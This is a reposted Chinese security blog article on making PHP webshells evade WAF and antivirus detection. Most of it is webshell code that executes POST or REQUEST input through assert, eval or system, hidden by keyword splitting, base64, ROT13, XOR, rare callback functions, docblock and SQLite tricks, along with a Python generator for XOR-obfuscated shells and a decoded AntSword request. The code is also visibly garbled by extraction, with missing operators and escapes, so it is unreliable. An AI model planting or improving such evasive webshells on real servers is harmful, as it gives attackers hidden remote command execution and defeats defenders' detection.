免杀 | PHP木马的混淆免杀探究

admin 2025年1月14日11:52:01评论11 views字数 7838阅读26分7秒阅读模式

 

原文链接:https://xz.aliyun.com/t/17023

作者:1315609050541697

0x1 前言

在渗透测试或CTF竞赛中,面对Web应用防火墙(WAF)的防护,普通的一句话木马(Web Shell)通常会被检测出来。WAF的作用是监测并阻止恶意的HTTP请求和输入,因此要成功渗透并避免被检测,一句话木马免杀是非常重要的一项技能。

0x2 静态免杀

静态免杀主要通过修改代码,使得其中的关键字或可疑函数变得不可识别。以下是一些常见的静态免杀方法,使用它们可以隐藏代码中的敏感部分,达到绕过WAF、反病毒软件或其他检测工具的目的

常见php一句马

<?php @assert($_POST['x']);?>

关键字隐藏

拆解合并

通过将关键字拆分成多个部分,然后动态拼接, 这种方式已经很难奏效了

<?php$ch explode(".","hello.ass.world.er.t");$c $ch[1].$ch[3].$ch[4]; //assert    $c($_POST['x']);?>
放入二维数组
<?php$f substr_replace("systxx""em"4);$z array($arrayName = ($arrayName = ($arrayName array('a' => $f('whoami')))));var_dump($z);

利用各种函数和编码

通过对代码进行编码或加密,再通过解码或反转编码的方式恢复原来的功能,可以有效地绕过WAF和反病毒软件的检测。常见的编码手段包括 Base64、ROT13 编码,利用各种函数如array_map、array_key、preg_replace来隐藏关键字比如rot13

<?php$c str_rot13('n!ff!re!nffreg');echo$c "n"//a!ss!er!assert$str = explode('!', $c)[3];echo $str; //asert

base64

<?php$f base64_decode("YX____Nz__ZX__J0");  //解密后为assert高危函数$f($_POST[aabyss]);                      //assert($_POST[aabyss]);?>

ascii编码

<?php//ASCII编码解密后为assert高危函数$f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);$f($_POST['aabyss']);                //assert($_POST['aabyss']);?>

array_map实例

<?php$letters array('a''s''s''e''r''t');$c implode(array_map('strtolower'$letters)); // 使用array_map拼接assert $c($_POST['x']); ?>

str_replace实例

<?php$str 'a';$str str_replace('a''a'$str);$str .= 's';$str .= 's';$str .= 'e';$str .= 'r';$str .= 't';$str($_POST['x']);

异或绕过

这里可以参考 https://github.com/yzddmr6/webshell-venom,想法也很简单,就是利用了php的亦或来生成所需要的字母。比如"Y"^"x38"的结果就是a,同样的生成assert即可。

<?php$_StL="Y"^"x38";$_ENr="T"^"x27";$_ohw="^"^"x2d";$_gpN="~"^"x1b";$_fyR="g"^"x15";$_pAs="H"^"x3c";$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

放一下python脚本来生成异或绕过免杀马

import randomdef random_keys(len):    # 生成随机len长的字符串    str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'    return ''.join(random.sample(str,len))def random_var(len):    # 生成随机变量名    str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'    return ''.join(random.sample(str,len))def xor(c1,c2):    # 字符亦或,返回16进制    return hex(ord(c1)^ord(c2)).replace('0x',r"x")def generate(target):    key = random_keys(len(target))    func_line = ''    call = '$target='    for i in range(0,len(target)):        enc = xor(target[i],key[i])        var = random_var(3)        func_line += f'$_{var}="{key[i]}"^"{enc}";'        func_line += 'n'        call += '$_%s.' % var    call = call.rstrip('.') + ';'print(func_line)print(call)if __name__ == '__main__':    target = input('input target to generate:rn') # array_uintersect_uassocgenerate(target)

使用效果如下

免杀 | PHP木马的混淆免杀探究

将关键操作隐藏在各种类、函数中

将关键字或操作分散在多个函数、类或变量中减少被静态分析工具(如WAF)检测到的机会

将关键操作分散到多个函数中

<?phpfunctiongetPart($str$i{return substr($str$i1);}functioncombineParts() {return getPart('a'0) . getPart('s'0) . getPart('s'0) . getPart('e'0) . getPart('r'0) . getPart('t'0);}$c combineParts();@$c($_POST['x']);?>

使用对象和类来隐藏关键字

<?phpclassTest{public$config '';function__destruct()    {$ch explode(".""hello.ass.world.er.rt.e.saucerman");$c $ch[1] . $ch[5] . $ch[4];        @$c($this->config);    }}$test new Test();@$test->config = $_POST['x'];

使用冷门回调函数

evalassert的关键字作为函数名称很显然是要受waf重点照顾的,使用冷门回调函数以及混淆手段,实际上是在 绕过WAF 和 反病毒检测 时常用的策略

array_uintersect_uassoc

在 PHP 中,array_uintersect_uassoc 是一个比较冷门的函数

array_uintersect_uassoc(array $array1, array $array2, callable $value_compare_func, callable $key_compare_func)

  • $array1, $array2
    :两个数组,函数会计算这两个数组的交集。
  • $value_compare_func
    :一个自定义函数,用来比较数组值的回调函数。
  • $key_compare_func
    :一个自定义函数,用来比较数组键的回调函数。

这个函数会返回两个数组的交集,基于提供的比较函数来进行比较。

用了array_uintersect_uassoc函数来回调assert,并且做了异或处理来隐藏关键字,是不会被检测出来的。

<?phpfunction myfunction_key($a,$b){if ($a===$b){return 0;    }return ($a>$b)?1:-1;}class rtHjmCdS{    public $fHfoj;    public $fDaGv;      public $HgAjSdfunction__construct(){$_xlr="J"^"x2b";$_Nbv="V"^"x25";$_cfh="T"^"x27";$_PdK="I"^"x2c";$_zJQ="+"^"x59";$_RgD="="^"x49";$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;$_fLd="a"^"x0";$_wOK="j"^"x18";$_tAH="U"^"x27";$_HeV="J"^"x2b";$_cyo="-"^"x54";$_iSW="F"^"x19";$_jYS="/"^"x5a";$_BFt="h"^"x1";$_TRn="p"^"x1e";$_izx="k"^"x1f";$_gMz="X"^"x3d";$_TNu="<"^"x4e";$_UiE="v"^"x5";$_iHI="q"^"x14";$_LIK="m"^"xe";$_Yey="Z"^"x2e";$_lMr="="^"x62";$_WOI="+"^"x5e";$_FQy="u"^"x14";$_sjC="d"^"x17";$_mOr=">"^"x4d";$_Txf="*"^"x45";$_PmW="O"^"x2c";$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;        }function__destruct(){$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'$fdJfd = $this->fDaGv; // 'assert'        //array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');        @$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');    }}$jfnp=new rtHjmCdS();@$jfnp->fHfoj=$_REQUEST['css'];?>

常见的回调函数如下:

call_user_func_array()call_user_func()array_filter()array_walk()array_map()registregister_shutdown_function()register_tick_function()filter_var()filter_var_array()uasort()uksort()array_reduce()array_walk()array_walk_recursive()

简单自定义函数

这个要与其他的姿势进行结合,目前没办法通过简单自定义函数进行免杀

<?phpfunctionout($b){return$b;}functionzhixin($a){return system($a);}functionpost(){return'whoami';}functionrun(){return out('zhixin')(out(post()));}run();

读取字符串绕过

用到读取注释的函数

ReflectionClass::getDocComment
例子如下:
<?php/** * system('whoami'); * */classUser{}$user new ReflectionClass('User');$comment $user->getDocComment();echo$comment;echo"n";$f substr($comment817);echo$f;eval($f);

读取数据库

可以通过 file_put_contents 文件写入函数写入一个Sqlite的数据库

$datatest = "[文件的base64编码]";file_put_contents('./要写入的文件名', base64_decode($datatest));

然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果

$path "数据库文件名"$db new PDO("sqlite:" . $path);$sql_stmt $db->prepare('select * from test where name="system"');$sql_stmt->execute();$f substr($sql_stmt->queryString, -76);$f($_GET['b']);

测试绕过D盾

免杀 | PHP木马的混淆免杀探究
0x3 动态免杀

要绕过流量监测,尤其是 WAF 的检测,我们可以通过对木马的动态行为、函数和关键字进行混淆和编码

以蚁剑为例,看下怎么绕过流量的动态监测假设我们要处理的木马如下所示:

<?phpclassTest{public$name '';function__destruct(){        @eval("$this->name");    }}$test new Test();$c = @$_POST['css'];$test->name = $c;

在蚁剑添加木马后,我们用burp来抓第一个请求包来看它发了什么内容:

POST /1.php HTTP/1.1Host: ipContent-Type: application/x-www-form-urlencodedContent-Length: 985Connection: closecss=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22ae2ea%22%3Becho%20%40asenc(%24output)%3Becho%20%22348cb%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

解个码:

关闭错误显示(display_errors 设置为 0),并且将脚本执行时间限制设置为无穷大(set_time_limit(0)),使得脚本可以长时间运行而不会被超时终止。

<?php@ini_set("display_errors""0");@set_time_limit(0);functionasenc($out){return$out;}functionasoutput(){$output ob_get_contents();ob_end_clean();echo"ae2ea";echo @asenc($output);echo"348cb";}ob_start();try {$D dirname($_SERVER["SCRIPT_FILENAME"]);if($D == "") {$D dirname($_SERVER["PATH_TRANSLATED"]);    }$R "{$D}    ";if(substr($D01) != "/") {foreach(range("C""Z"as$L) {if(is_dir("{$L}:")) {$R .= "{$L}:";            }        }    } else {$R .= "/";    }$R .= "    ";$u function_exists("posix_getegid")        ? @posix_getpwuid(@posix_geteuid())        : "";$s $u $u["name"] : @get_current_user();$R .= php_uname();$R .= "    {$s}";echo$R;catch(Exception$e) {echo"ERROR://" . $e->getMessage();}asoutput();die();

代码主要用来获取当前目录和用户信息。

原文始发于微信公众号(神农Sec):免杀 | PHP木马的混淆免杀探究

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月14日11:52:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀 | PHP木马的混淆免杀探究http://cn-sec.com/archives/3626386.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息